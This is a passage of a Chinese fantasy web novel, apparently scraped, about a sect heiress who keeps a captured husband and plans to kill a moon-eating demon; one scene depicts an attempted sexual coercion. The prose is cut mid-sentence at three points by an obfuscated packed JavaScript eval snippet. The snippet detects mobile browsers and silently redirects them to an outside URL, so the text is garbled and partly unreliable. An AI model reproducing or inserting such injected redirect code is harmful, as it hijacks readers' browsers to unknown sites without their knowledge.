她连连冷笑,伸出骨节分明的双手,慢条斯理地将苦厄地的信件撕成碎片,扔进荷花池中,略带冷意的目光盯着荷苑的方向,问道:“那位霁道君如何了?” “昨夜偶遇时试探过一番,他看起来对食月妖应当有些兴趣,不过我觉得,大概率只是为了解开缚灵锁的束缚。”昭岁回想起昨夜,又说道:“十三月似乎与他颇为亲近。” 月见荷的表情变的迷惑,似乎在费力思索着昭岁所说的十三月是谁,过了好久才回过神来:“你是说那只蠢仙鹤?” 昭岁:“……”话倒也不必如此难听。 昭岁:“是的。” “随它吧,反正也掀不出什么水花来。”月见荷对此毫不在意,没有她的谕令,金羽仙鹤也无法飞出青霜台。 “食月妖大小姐准备何时去杀?可需要我从旁协助?”昭岁看着月见荷头冠上不断扩大的裂纹,忍不住揪心。 “不着急,魄冠还能再顶一段时间。”她想起一事又问道,“云涯仙门中最近有什么消息吗?” 昭岁道:“如往常一般,没有什么不同。” 月见荷的眼神沉了又沉,失去了一个继任神官的人选,云涯仙门竟然一点也不忧心。 “通知褚絮那个蠢货,让他趁此机会把眼送进去。” “明白。”昭岁点点头,又问道:“大小姐可还有其他吩咐?” “霁明珏这几日都在做些什么?” 昭岁思索一番,答道:“整日不是在荷苑中练剑,就是跟着十三月在青霜台中散步,不过青霜台中布下了阻灵阵,他应当无法与云涯仙门的人取得联系。” 那便好。 月见荷轻轻点了点头,摆了摆手示意昭岁可以退下了。 · 昭岁离开后,月见荷将六厄山脉的地形图摊开在桌上,提笔开始勾勾画画。 六厄山脉之所以有‘六厄’之名,是因为其中有些六座险恶山峰,且每座峰中都含有一座天地囚笼,牢笼中曾经关着浮荒这些年抓来的妖鬼。 之所以是曾经,那是因为百年前青霜台政变,她一把红莲业火,将六厄山脉燃烧了数月,镇压其中妖鬼尽数化为灰烬。 黑暗牢笼也是其中之一。 想来,食月妖应当是六厄山脉重新开张后的第一位客人。 最后一笔落下,她满意地拿起重新画好的布防图,嘴角泛起欣赏的微笑。 既然是第一位客人,自然要热情款待。 她尚沉浸在自得中,识海中却不合时宜地响起一道声音。 系统:“你这是玉石俱焚的阵法。” 月见荷微微挑眉:“你能看我到识海以外的景象?” 系统:“……” 它悄悄地转移了话题:“你要与食月妖玉石俱焚?对你而言,杀死食月妖连三招都用不到。” 月见荷眼里充满着玩弄的笑意,语气中带着些许雀跃:“怎么会?这道阵法又不是给我准备的。” 多日的劝说,系统已经发现了月见荷此人油盐不进,反而说的越多,她就更喜欢对着干。 系统索性不再多言,只提醒道:“他死你也死,你最好想清楚了。”随后直接下线消失,不再搭理她。 月见荷一点也不恼怒,嘴角还泛着愉悦的微笑,她想的清楚的不能再清楚了,既然她无法杀死霁明珏,那么便设计霁明珏死在食月妖手中。 至于系统所说的‘他死你也死’,月见荷更不在意了,未到终局,谁先死还说不定呢。 许是画了许久的阵法,她又感到有些累了,将涂改好的阵法图随手往桌上一抛,懒洋洋地重新躺回美人塌上,又往暖阵中丢进去几颗灵石,借着春风重新入睡。 · 霁明珏刚推开房门,便见捧着一叠衣袍的侍官立在门口。 见他醒来,侍官将手中衣袍递给霁明珏,恭顺道:“大小姐有令,要求您今日换上这身衣袍。” 他微微皱眉,一动不动。 尽管他不为所动,侍官却仍然坚持。 僵持半晌后,霁他还是冷着脸接过侍官手中衣袍。 见大小姐交办的事情已经办好,侍官便行礼告退。 侍官离开后,霁明珏眸色如同九幽地狱般寒冷逼人,他在手中燃起道火,将青竹色的衣袍燃烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644530|172746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成乌黑的灰烬。 锁住他的灵力不说,居然想将他当作…… 当作…… 他受数百年仙门正统教育,良好的涵养甚至无法让他在心中将‘禁脔’两字念出。 他提着剑走进青霜台的霜雾,穿过重重水榭,来到荷花池中的醉心亭,欲找月见荷狠狠理论一番。 金羽仙鹤不知道发生了什么,但察觉他心情不妙,连忙扑扇着翅膀匆忙跟上他的步伐。 霁明珏一进入醉心亭,便觉得醉心亭中温度有些过于炎热了,他调动灵力驱散周身的热气,抬眼望去,只见月见荷盖着鹤氅,躺在美人塌上,一只手覆在双眼之上,试图挡住日光,另一只手则轻飘飘地垂落地面,手中还握着一支沾染着墨水的毛笔。 “月见荷!” 月见荷从睡梦中睁眼,又见到一个恼怒的霁明珏,她有些不明白,这人为什么每天火气都那么大。 但她今日心情好,便不与他计较了。 反正按她的算计,他也没几日可活了。 月见荷从美人塌上起身,掀开盖在身前的鹤氅,瞪着迷茫的双眼从上到下将霁明珏扫视了一遍,不满道:“你怎么没换衣服?” 一提起这事,霁明珏的火气蹭一下就上来了,他恼怒道:“我为何要换衣服?” 月见荷斜睨了他一眼:“怎么?我为你准备的衣服,你不喜欢?” 霁明珏:“我为什么要喜欢?” 月见荷幽暗的目光落在他身上,说道:“因为是我准备的,你必须喜欢。” 简直无法沟通! 霁明珏深吸一口气,平复上涌的气血,尽力平静道:“我会除尘术,不需要每天按你的要求换上衣服。” 月见荷疑惑道:“除尘术是什么?” 霁明珏奇怪地看了她一眼,道:“除尘术是一种可以除去身上与物品上尘埃的术法。” “没听说过。”很无趣的术法,月见荷想。 他有些无语,自手中化出一股灵力,除尘咒术将醉心亭中诸物焕然一新。 除了月见荷。 月见荷看着变得崭新的醉心亭,眼中闪过一丝好奇,她突然觉得这个除去尘埃的术法也不是毫无用处。 “给我身上也用一下。”她对着他颐指气使道。 “自己学!” “我不会!” 二人在醉心亭中大眼瞪小眼,谁也不让谁。 片刻后,还是霁明珏先败下阵来,他认命地将除尘咒术的符文画在纸上。 月见荷却没有接过那张画着符文的纸,一双桃花眼一眨不眨的盯霁明珏,语调慵懒:“我不想学,你直接施在我身上。” 霁明珏嘴角扯出一抹嘲讽的笑容,他从来没有见过如此懒散的人,竟然连除尘咒术都不愿意学。 月见荷等了许久,也没见他将除尘术施在她身上,便开口催促道:“快一点。” “如你所愿。”他冷笑一声,将写着除尘术符文的纸拍在月见荷肩膀上。 许是用力过猛,拍了月见荷一个踉跄,身形摇摇晃晃着就要坠入荷花池中。 见她身形不稳,后退的脚步就快要跌出醉心亭中,霁明珏急忙跃步上前,抓着她的手腕欲将她拽回醉心亭中。 但就在他抓住她手腕的一瞬间,便看见她的脸上浮现出一抹得逞的笑容,随后,他便被一把推入了荷花池中。 池水寒梁刺骨,他从水用探出头来,只见月见荷趴在醉心亭的栏杆上,对着他笑眯眯道: “霁道君这下子,总可以乖乖换上我给你准备的衣袍了吧。” 青霜台中的所有人都得按照她的喜好行事。 也包括他。 7. 强迫 又是一个清晨,今日太阳却是格外的好,温暖的阳光让青霜台中的霜雾散去不少。 霁明珏推开房门,又是那名捧着一叠衣袍的侍官。 明明已经告诉了她可以用除尘术,不知为何她仍旧执拗地要让他每日都换上一身新的衣服。 不换的话,她就会一直让人送来。 深知在这件事上争不出结果,他认命地接过侍官手中的衣服,摆了摆手示意侍官可以退下了。 今日是一件雪青色的外衫,衣袂处用银线绣了层层叠叠的云纹,领缘则是用青线绣了几朵莲枝。 明明是素净的衣袍,穿在霁明珏身上却显出几分清贵。 距上次落水,月见荷已经数日未曾来找他麻烦了,他倒也乐得清闲,整日除了在荷苑中练剑,便是跟着金羽仙鹤在青霜台中随意走动。 月见荷虽然锁住了他的灵力,但好在并没有限制他的自由。 这几日他跟着金羽仙鹤的步伐,已经将其青霜台中浏览了个遍,也得出了一个结论:青霜台外围的天空中,布满了杀机重重的法阵,要想离开青霜台,除了每年一度六部议事时会打开的接引天梯,便只有得到霜主谕令。 六部议事前些日子刚举行完毕,距离下次接天梯开启至少还要等一年,而霜主谕令…… 霁明珏想都不用想,月见荷是肯定不会给他的。 到底怎样才能离开青霜台呢? 霁明珏再次调动腰间玉符,试图与云涯仙门中好友取得联系,但玉符却毫无反应。 这几日他已经换了好多个地方,试了无数次,但青霜台就好像与外界隔绝了一般,他无法向外界传出一丝一毫的消息。 同样的,外界的传讯也进不来青霜台。 浮荒与云涯联姻一事,在整个归墟界闹得沸沸扬扬。 传言纷纷,有人说云涯将与浮荒联姻后,归墟界三方平衡的境况恐将被打破,甚至苦厄地的妖主连夜闭关都是因为此事;又有人说这是苦厄地与浮荒的计谋,让云涯失去一位最优秀的神官继任人选,妖主闭关不过是趁此机会突破十一境,一举成圣。 还有更不切实际的传言,说青霜台大小姐对云涯道君一见钟情。 但无论这些传言如何荒唐离奇,都脱不开月见荷此人。 月见荷身上的谜团太多了。 在得知浮荒指定他与青霜台大小姐成婚时,他便让师弟沈无咎去细细调查过月见荷。 沈无咎对修行不太上心,但却格外热衷于打探别人得八卦之事,下到云涯仙门中哪位向同门告白的师弟被拒绝了,上到归墟界中某位掌门的家中俗事,只要他想,就没有他查不出来的消息。 但沈无咎查到的关于月见荷情报却格外的简陋:月见荷,青霜台大小姐,十三岁入八境,一百一十三岁入九境,于浮荒六部之乱时夺权青霜台,后独掌浮荒大权至今。 能查到记载的只有从青霜台政变开始后关于月见荷的一切,再往前查探,便是一片空白,她的过去就像从未有过一般。 霁明珏在心中嗤笑一声,甚至这句“十三岁入八境,一百一十三岁入九境”,都极有可能是青霜台故意放出用以误导的消息。 这一切一切,都像迷雾中蛛网吐出的丝线一般,将他紧紧困在青霜台中。 霁明珏垂眼望向脚边的金羽仙鹤,不知道为什么,这只金羽仙鹤格外喜欢粘着他。 但可惜,他不喜欢这个束缚他自由的青霜台。 他对金羽仙鹤道:“带我去找月见荷吧。” 先前替月见荷画除尘咒术的符文时,他眼角的余光瞥见桌上六厄山脉的布防图,图中勾勾画画出一个鲜为人知的阵法。 但霁明珏认识,那是焚玉燃天阵,一个用来玉石俱焚的阵法。 也许,他可以借此与月见荷做个交易。 · 醉心亭中,月见荷依旧懒洋洋地躺在矮塌上,指尖微动,开始计算着杀死食月妖所需要付出的灵力。 因魄冠有损的缘故,她不能出手太多,最好能在三招之内就能将食月妖杀死。 昭岁这几日来回奔波青霜台与六厄山脉,今日终于带回了一个好消息:碧华月凝珠已经逐渐与食月妖的妖丹融合了。 食月妖喜吞食月光,妖丹中含有不少月华之精,而月族的碧华月凝珠虽然也凝聚了更为精纯的月华之精,但却被一股圣力保护着,除非月族之人,没人能取出其中的月华之精。 好在食月妖与月族有些沾亲带故的关系。 她眉眼中浮现出一抹不易察觉的喜色,不枉她耐心等了这些时日,终于等到食月妖将碧华月凝珠与其妖丹融合。 将碧华月凝珠归还月族? 瞳怜她就做梦去吧。 “焚玉燃天阵布好了吗?” “回大小姐,已经布好了,另外黑暗牢笼百里范围内的生灵也已经驱逐完毕。”昭岁将黑暗牢笼内的状况一一回禀月见荷。 月见荷满意地点点头,扪心自问,她并不是一个滥杀之人,也不喜欢生命结束的毫无意义。 嗯,如此说来她应该是个善良的人。 “昭岁,再数一数这池中的荷花还剩多少吧。” 昭岁将灵识放出,细数池中荷花:“回大小姐,与前日数目一样。” 那便好。 月见荷垂眼,回想起当年佛子的断言:荷花凋尽,命数终了。 她本不在意佛子所谓的命数之说,但直到数月前,魄冠却莫名其妙出现了破损。 而她正愁眉时,识海中莫名出现的系统却告诉她,食月妖吐出的月华之精可以修复魄冠。 ‘系统’的身份来历成谜,她本想直接将它抹消的,可是平静地生活中好不容易出现一点乐子,她实在是舍不得。索性留着它,看看它究竟在玩什么把戏。 但好在,它除了喋喋不休地劝说她攻略霁明珏外,并不会干预她行事。 霁明珏此人她也曾派人查探过:出生于人间朝歌城,天生仙骨,被玄微真人入人间除魇魔时看中其资质,带回云涯仙门中收为亲传弟子,悉心教导,百岁之余便已经踏入九境。 普通的不能再普通的经历,她实在看不出这人有什么能杀死她的潜质。 但闲着也是闲着,她就按系统的要求将霁明珏抓到青霜台中亲身研究,也省得它整日在她识海中吵闹不休。 只不过霁明珏身份特殊,她无法像抓一只妖鬼一样将人抓进青霜台,只能借着联姻之名让云涯仙门主动将人献出。 为此,她还损失了一条灵矿。 那可都是钱啊。 她想想还是会觉得有些心疼。 · 月见荷正想事情想得出神,一抹青色身影出现在她身前,阴影落在她身上,挡住了温暖的日光。 暖洋洋的日光被挡去,她又觉得有些冷了,闭着眼,不耐烦的抬手试图将挡住阳光的阴影挥散去,却不小心撞上一个温热的身躯。 月见荷随即用力,试图将这挡住她晒太阳的身躯推开,下一秒手腕却被人扼住。 霁明珏眼疾手快,将月见荷的手在距离他身下一寸之距时截住。 她一定是故意的,霁明珏在心中忿忿地想道。 月见荷睁开眼,见来人是霁明珏,眼中闪过一瞬不耐,随即用力将手腕从霁明珏手中抽出。 但却没能抽回,反而被霁明珏更加用力的扼住了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他双手环抱在胸前,倚在醉心亭中的柱子上,神色从容:“我想与你做个交易。” “没兴趣。”她眼也不眨的拒绝。 霁明珏却不见恼色,他盯着她略带怒色的面容开口道:“我可以替你杀食月妖。” “不需要。”她仍是拒绝。 霁明珏继续道:“我替你杀食月妖,你放我出青霜台。” “你要与我解契?”月见荷的桃花眼中怒色更深了,“怎么?霁道君是觉得一条灵矿还不够吗?” “我并不是那个意思……”霁明珏急忙开口解释,他与她成婚不到一月,如果此时解契,恐怕二人都会沦为整个归墟的笑柄,他作为男子倒是不在意,但对月见荷一名女子而言却是名声有损。 并且,云涯掌门也不会允许他与月见荷解契。 他能看得出来她并不喜欢他,但他却实在想不明白她为何非要与他成婚,提出离开青霜台也不过是想分开后,让她冷静冷静,一时冲动总好过一生后悔。 但她显然误解他的意思了。 月见荷突然笑眯眯道:“霁道君,想起来,新婚夜我们好像有些事情还未做完呢。” 霁明珏心中大惊,这段时日他日日夜夜给自己脑中丢进忘忧咒,好不容易将新婚夜当晚发生的屈辱藏进识海深处,不再想起。 月见荷这么一提,他的四肢百骸便不受控制的回想起那夜的颤栗。 也许这几日过的太过平静,竟让他忘记月见荷就是这么一个不讲道理的疯子。 8. 未遂 荷苑的房间中,月见荷再次掐着霁明珏的咽喉将他压在床榻之上。 她的嘴角泛着笑意,但那双桃花眼中却透着刺骨的冷漠,由床边生长出的青藤将霁明珏的双手束捆住,而后高高吊起,束缚在在床头动弹不得。 霁明珏调起为数不多的灵力,欲挣脱她的束缚。 他抬腿踹向月见荷的心口,但下一秒,又一条青藤,将他的双腿也束缚在床上动弹不得。 此刻,他便像案板上的鱼一般,只能任人宰割。 他面带怒色,含恨的凤眸死死盯着月见荷,他不明白,他又是哪一点惹得这位大小姐不开心了。 他不愿与月见荷行事,恨声道:“放开我!” 月见荷轻轻扫了他一眼,随即歪头恶劣笑道:“偏不。” 从来只有她拒绝别人,断没有别人拒绝她的道理。 更何况他是她娶来的夫君,睡都不让睡算个什么意思? 他把她当什么了? 都成婚了还想为别人守贞吗? 她伸手在霁明珏身上一通摸索,找到腰间玉带的玉扣,指尖轻轻一挑,‘咔嗒’一声,腰带被解开,衣袍也顺势散落床榻之上,露出的肌肤与春色融为一体。 她不理会霁明珏的奋力挣扎,冰凉的手指顺着他的喉间一路向下,直到停留在小腹下方。 即便是隔着布料,霁明珏也能感觉到那令人不适的冰凉,他曲起双膝,试图隔开月见荷的手。 月见荷则用力压下他曲起的膝盖,指尖隔着衣料在他某处摩挲,眼中带有一种嘲笑困兽垂死挣扎的笑意。 强烈的不适感让霁明珏的声线变得颤抖:“我自问不曾得罪于你,你为何要这般对我?” “因为你比较倒霉啊。”月见荷想了下,选择认真地回答了这个问题,随后又问道:“霁明珏,我是不是很好看?” 霁明珏扪心自问,月见荷自然是极好看的,但此刻此景他不知道该如何回答这个问题,想了想还是选择顺着月见荷的话回答道:“是。” 得到了满意的回答后,月见荷起身掐着霁明珏的下巴逼着他仰起头来看向自己,问道:“那你为何不看我?” 霁明珏闭眼,长睫轻颤,声音微弱:“放过我吧。” 月见荷假装没有听见这句话,她目光在霁明珏身躯上流转,隔着布料定位到那处凸起,正准备伸手抓住,却突然听见头冠上传来一声细微的碎裂声。 怎么偏偏在这个时候?! 月见荷心道不妙,正欲离开此处赶往醉心亭中,却还是慢了一步。 神魂碎裂的痛苦传遍她的四肢百骸,她来不及压下心口的绞痛,便眼前一黑,无力地倒在他身上。 · 霁明珏闭眼颤栗许久,料想之中的屈辱却没有出现,只有突然砸在胸膛上的冰冷身躯。 他睁开眼,只见月见荷一动不动的趴在他胸前,神色痛苦,双眼紧闭,本就白皙的肤色此刻分外惨白,紧握的十指恨不得嵌入血肉之中。 “月见荷?” 他轻唤了好几声,月见荷却是毫无反应。 不止如此,她此刻正呈现出一种灵力外溢的状态。 不妙! 这是溢灵之像,他只有在濒死的人身上才见到过。 但月见荷为何会出现这种情况? 她可一点都不像快死了的样子。 月见荷昏迷后,束缚霁明珏的青藤也随即消失不见,他一把推开月见荷,起身重新整理好衣袍。 他站在床边静静地盯了她许久,心中犹豫不决,如果月见荷就此死去,那么他便能重得自由,也不用在此忍受她喜怒无常的折磨,世人提起他时还是那个光风霁月的仙门道君。 但他还是没能忍心。 尽管月见荷对他三番两次的折辱,却并没有要他性命的意思,他的道德感让他无法放任她就此死去。 也许,她只是性情恶劣了些而已。 霁明珏无奈叹气,轻轻扶起月见荷,费力地抠开她紧握的十指,将被扯下的外袍胡乱卷成一团塞入她手中,以防她的指甲将掌心刺出血来。 掌中化出聚灵阵法,将空气中四散的灵力汇聚到一处,两指轻轻搭在月见荷手腕处,将灵力送回她体内。 灵力虽然渡进去了,月见荷的气息却依旧紊乱。 霁明珏无法,只能从自己体内抽出一股灵力,送入她体内欲替她梳理灵脉。 但下一秒,他却神色大变。 月见荷,没有灵脉。 这怎么可能?! 没有灵脉的修士又怎么可能使得出灵力?即便是苦厄地的妖族,也有相当于修士灵脉的妖脉。 但月见荷体内却是空空荡荡,混乱的灵力在她的骨血中流窜,扯得她眉头更为紧皱,十指恨不得要将衣袍抓穿。 霁明珏从来没有见过这样的事情,一时间慌了神,朝着荷苑中惊慌地喊道:“昭岁!” 几瞬过后,昭岁出现在了荷苑的房中。 她望向霁明珏怀中面色苍白的月见荷,心中惊慌失措,手忙脚乱地从霁明珏怀中接过她,足尖一点,立刻往醉心亭的方向跃去。 霁明珏望着昭岁匆忙离去的背影,犹豫片刻后,还是提步赶往醉心亭。 . 月见荷安静地沉睡在水里,荷花池上开始泛起朦胧的水雾,将外界一切隔绝在外。 十二只金羽仙鹤从池中窜出,化为十二道流光箭矢,环绕在荷花池周围。 霁明珏正欲走进水雾,却被一只金羽仙鹤挡住了去路,他眯了眯眼,认出了这只仙鹤并不是那位被昭岁叫做‘灵官大人’的仙鹤。 因为这只仙鹤看起来并不认识他。 金羽仙鹤挡住了霁明珏的去路,歪过头来紧盯着他的动作,漆黑的眼瞳中本无表情,但霁明珏却读懂了它的意思:你不可以再向前半步。 他在水雾前停下脚步,微微偏过头,锐利的目光紧盯着醉心亭中。 青霜台,的确很多秘密呢。 · 月见荷再荷花池底下昏睡了数日,终于在一个晴朗的天气中醒了过来。 水雾散去,便见一旁忧心忡忡的昭岁。 她从水中跃出,掐了个诀让身后动荡不休的荷花们安静下来,漫不经心道:“没事了,碎魂症的正常发作而已。” 试着调动体内的灵力,神魂破碎的痛苦还遗留在她四肢百骸间,稍一动身,便感到骨血中传来刺痛,忍不住倒抽一口凉气。 “过去几日了?”她问道。 “七日。”昭岁道。 摸了摸头顶,发现魄冠上的裂纹比先前更大了,她皱了皱眉,说道:“魄冠已经撑不了太长时间了,我要去杀食月妖。” 但昭岁却伸手拦住她离开的步伐,一字一句说道:“魄冠损毁,三个月内,大小姐绝不可再次动用灵力。” 月见荷却眯起眼看她:“那把荣枯玉给我。” 虽知道她不爱听,昭岁还是忍不住劝道:“荣枯玉的副作用大小姐应当知道,这几年来,您已经用的太多了!” 月见荷皱眉,命令道:“荣枯玉给我,我不想说第三遍。” 二人在醉心亭中僵持了许久,最终昭岁还是将荣枯玉放在了月见荷手中。 她接过荣枯玉,捻为粉末倒入茶水中,一饮而尽。 玉水入体,月见荷瞬间感觉四肢百骸中被天地灵气洗涤一新,痛楚全消。 她懒懒地伸展着四肢,拍拍昭岁的后背柔声道:“你在此顾守青霜台,七日之内,我必定杀完食月妖回来。” 昭岁望着月见荷的背影,发出一声无奈的叹息。 · 荷苑内,恢复如常的月见荷一脚踹开了霁明珏的房门。 “没礼貌。” 霁明珏眼也不抬地对着她讽刺道。 什么叫她“没礼貌”? 她的好心情被霁明珏一句“没礼貌”给打碎了,不解问道:“我怎么没礼貌了?” 霁明珏拉拢好衣衫,慢条斯理地起身,斜睨了月见荷一眼,冷冷道:“你进别人房间,不知道要敲门吗?” 数日不见,能有力气跟他吵架,看起来她这是已经恢复如常了。 月见荷很不满。 什么叫“别人的房间”? 这里是青霜台,这里的每一寸角落都刻着她的名字,她想去哪里就去哪里! 她本欲与霁明珏理论一番,但一想到接下来还要将他抓去杀食月妖,便换上了一副春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644532|172746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风和煦的假笑:“霁道君难道不想出青霜台看看吗?” “不想。”霁明珏毫不客气地拒绝道。 她有些恼怒,这人怎么出尔反尔,她明明记得在她昏过去之前,这人是说要帮她杀食月妖来着。 但她还是好声好气道:“霁道君,你我夫妻本为一体,如今妻子有求,做丈夫的不应该有求必应吗?” 霁明珏有些气急,月见荷此人当真无耻至极,为了让他去杀食月妖,竟然连这种话都说得出。 见霁明珏不搭理她,她索性上前抱住他的手臂摇晃着,眨着那双多情的桃花眼,语气温柔至极:“夫君~” 霁明珏忍不住头皮发麻,她这是又想了什么新的法子来折磨他? 他伸出修长的手指,用力将她抓着他胳膊的手抠开,而后迅速退到她身外三步处,警惕地盯着她下一步动作。 月见荷歪了歪头,似乎在想着霁明珏为什么对她的投怀送抱视若无睹。 她在识海中问系统道:‘你不是说这样有用吗?那他怎么不理我?’ 系统:‘……’随后下线消失。 真是没用的东西,月见荷在心中骂道,果然凡事还得靠自己。 她收起原本和煦的笑容,又换回了一副冷漠的神情,威胁道:“食月妖你不杀也得杀!” 听到这种张扬的语气,霁明珏终于长舒一口气。 这就对了,这才是他认识的月见荷。 “所以你是同意我先前提出的交易了?” “交易?什么交易?”她有些茫然,不是只有杀食月妖吗? 霁明珏心中冷笑一声,这人又在装傻充愣什么呢。 “我替你杀食月妖,你放我出青霜台。”他想了想又补充道,“但你我之间并不解契,对外只说我替青霜台出面缉拿罪妖,如何?” 不如何,一点都不如何! 月见荷的眸色一点一点冷了下去,他现在说的好听,恐怕出了青霜台便会立刻遁入茫茫天地间吧。 丢脸不说,她岂不是还白搭进去一条灵矿? 她皮笑肉不笑道:“霁道君,你知道了我的秘密,我怎么可能让你离开青霜台呢?” 霁明珏面色不变,果然,他就猜到会如此。 “那就换个要求,解开我的灵力。” 解开灵力吗? 月见荷低头想了想,以霁明珏如今的修为,应当也无法对她造成威胁,更何况青霜台外的虚空中少说布下了数百道杀阵,凭他只有九境的修为,强行闯出青霜台也不过是天方夜谭。 “可以。” 霁明珏伸出手,等着月见荷解开他手腕上的缚灵锁。 但他等了许久,她仍是毫无动静。 终于,他的耐心耗尽,忍不住出声催促道:“你不是答应我解开缚灵锁了吗?” “是啊,但你也得先杀了食月妖呀。”月见荷微笑,“不然,我怎么知道你解开灵力后是先逃出青霜台,还是先杀死食月妖呢?” 霁明珏的眼中闪现出不可置信:“你疯了?那是七境修为的食月妖,你将我的灵力锁住了九成,我如何杀的了它?” “怎么会呢,杀食月妖的时候,我会给你解到五成的。”说完后,月见荷想了想,又附在他耳边柔声纠正道:“不过有一点你说错了,不是七境,应该是八境的食月妖。” 霁明珏怒道:“那这就更不可能了!只解我五成修为便让我杀八境的食月妖,与叫我送死有何异?” 月见荷不满:“那你想怎么办?” 她没直接将他丢进黑暗牢笼中喂妖就不错了,怎么还蹬鼻子上脸。 “把我的全部修为解开。”霁明珏怕她不放心,又补充道,“在杀死食月妖之前,我绝不会离开青霜台。” 至于杀死食月妖之后,他可就说不准了。 月见荷有些犹豫,一方面食月妖确实得杀,一方面她又的确想知道系统说的那句“他死你也死”到底是不是真的。 但她又不能直接将霁明珏扔给食月妖,那样子云涯仙门就要找她麻烦了。 最后下定决心道:“可以。” 反正就算霁明珏逃了,她也一样能将人抓回来。 当然,前提是他能逃得出去。 9. 小玉 六厄山脉。 霁明珏身着一袭青衫迎风而立,身旁则站着身披玄色大氅的月见荷。 还有一只金羽仙鹤。 他垂了垂眼,探究的目光落在脚边的金羽仙鹤身上。 即便十三只金羽仙鹤都长得一模一样,但他仍能感知到,这只仙鹤,并不是平日里喜欢黏着他的那只。 因为,这只仙鹤看起来颇为讨厌他。 金羽仙鹤迈着优雅的步伐走在前方,轻轻抬起脚,将地上的碎石装作不经意间踢到霁明珏身上。 霁明珏薄唇张张合合,终究还是没能发出声音来。 他要怎么说? 他总不能跟月见荷说这只金羽仙鹤是故意的吧? 这倒是会显得他是个斗筲之人,竟要与一只扁毛畜生斤斤计较。 “你去看看,黑暗牢笼中情况如何。”月见荷对金羽仙鹤吩咐道。 随后,金羽仙鹤变化为一道流光,径直掠向黑暗牢笼中。 · 霁明珏锐利的目光凝视着不远处的黑暗牢笼,但眼角的余光却落在月见荷身上。 他忍不住皱眉,月见荷怎么还是如此惧冷,虽然有些山风,但五月的天气舒适温暖,哪怕是在只有夜晚的六厄山脉中,也不至于披上大氅吧? “你的病好了没?”霁明珏装作不经意间的随口一问。 “你才有病。”月见荷眼尾带着一丝浅怒,她以为霁明珏又在骂她。 霁明珏有些哑口无言,果然,就不能用正常人的思维去理解月见荷。 他换上一副温润的神色,好声好气道:“我没有说你有病的意思,我只是想问问之前你为何会出现那种状况?” 月见荷眼也不抬,道:“这跟你有什么关系?” 霁明珏忍了又忍,还是忍住了跟月见荷吵架的心情,心平气和地说道:“你先前不是说,你我夫妻本为一体,那么作为丈夫,关心一下自己妻子的身体状况不是应该的吗?” 月见荷愣住了,她在识海中问系统道:‘他是吃错药了还是中毒了?怎么如此神智不清?’ 系统沉默了好久,为了避免月见荷再次对霁明珏发疯,只能骗她说道:‘哦,他也许是对你有好感了。’ 月见荷还是很茫然:“好感是什么?” 系统:“……”它怎么就摊上这么一个人。 系统:“你态度好些回答他的问题就行了。” 随后立刻下线消失。 霁明珏只见月见荷面部表情变幻好几次,最后停留在一种困惑的状态,对着他认真说道:“那不是病。” “不是病的话,那是什么?” 月见荷不喜欢别人打探她的秘密,所以她对着霁明珏翻了个白眼,没好气道:“我不想告诉你。” 行,不说就不说。 霁明珏嘴角扯出一抹冷笑,阴阳怪气道:“若是一会杀食月妖的时候你再出现那种状况,我可没空救你。” 月见荷却对霁明珏的话中的讽刺置若罔闻,反正一会杀食月妖的,只有霁明珏一个人。 · 月见荷与霁明珏静静地站在山崖间等待着金羽仙鹤的回报。 一阵带着寒意的风吹过,月见荷觉得有些冷了,她拢紧了身上的大氅,眉头拧成一股细线,紧紧盯着黑暗牢笼,神情有些焦躁。 怎么这么久了,小一还没有回来。 就在她刚准备一把将霁明珏推进黑暗牢笼中时,金羽仙鹤终于从黑暗牢笼中飞出,身后裹挟着无数散发着黑气的霜刃。 月见荷一把解下身上大鹤氅,扔向金羽仙鹤,大氅内里镌刻着数道复杂的咒文,在空中化为柔和的流光,将金羽仙鹤包裹其中,免受霜刃侵袭。 “如何了?”月见荷手中化出纯净的灵力,替金羽仙鹤净化掉方才在黑暗牢笼中沾染上的污秽。 金羽仙鹤摇了摇头,漆黑的瞳孔中泛着严峻的冷意:‘食月妖沾上了怨力,而且这股怨力很强大。’ 怨力? 月见荷微微皱眉,怎么会有怨力呢? 怨力是一千多年前,归墟的天裂开时莫名流入此地的东西,能够侵蚀一切生灵。 天梵佛乡还在归墟界的时候,每百年便会以佛门圣物‘照世明灯’来净化归墟界所产生的怨力。 但自从千年前一场天地浩劫,过天门被打开,浮屠塔坍塌,里面关着的千妖百鬼逃亡人间,造成人间生灵涂炭,佛乡本着普渡众生的慈悲之心,诸佛者自请离开归墟,去往人间渡化因妖鬼出逃而产生的怨力。 虽然大多数怨力已经被镇压进了伏藏之渊,但是仍免不了漏网之鱼。 月见荷眼中闪过一丝不易察觉的冷戾,她昏迷之前,昭岁曾多次查探,那时候食月妖的身上并无怨力。如今看起来,却是有人趁着她昏迷的这段时间动了些手脚。 到底是谁呢,居然能将眼线安排进青霜台。 她侧过头,微笑着对霁明珏道:“霁道君,接下来就要看你的表现了。”随后拉着他径直跃向黑暗牢笼中。 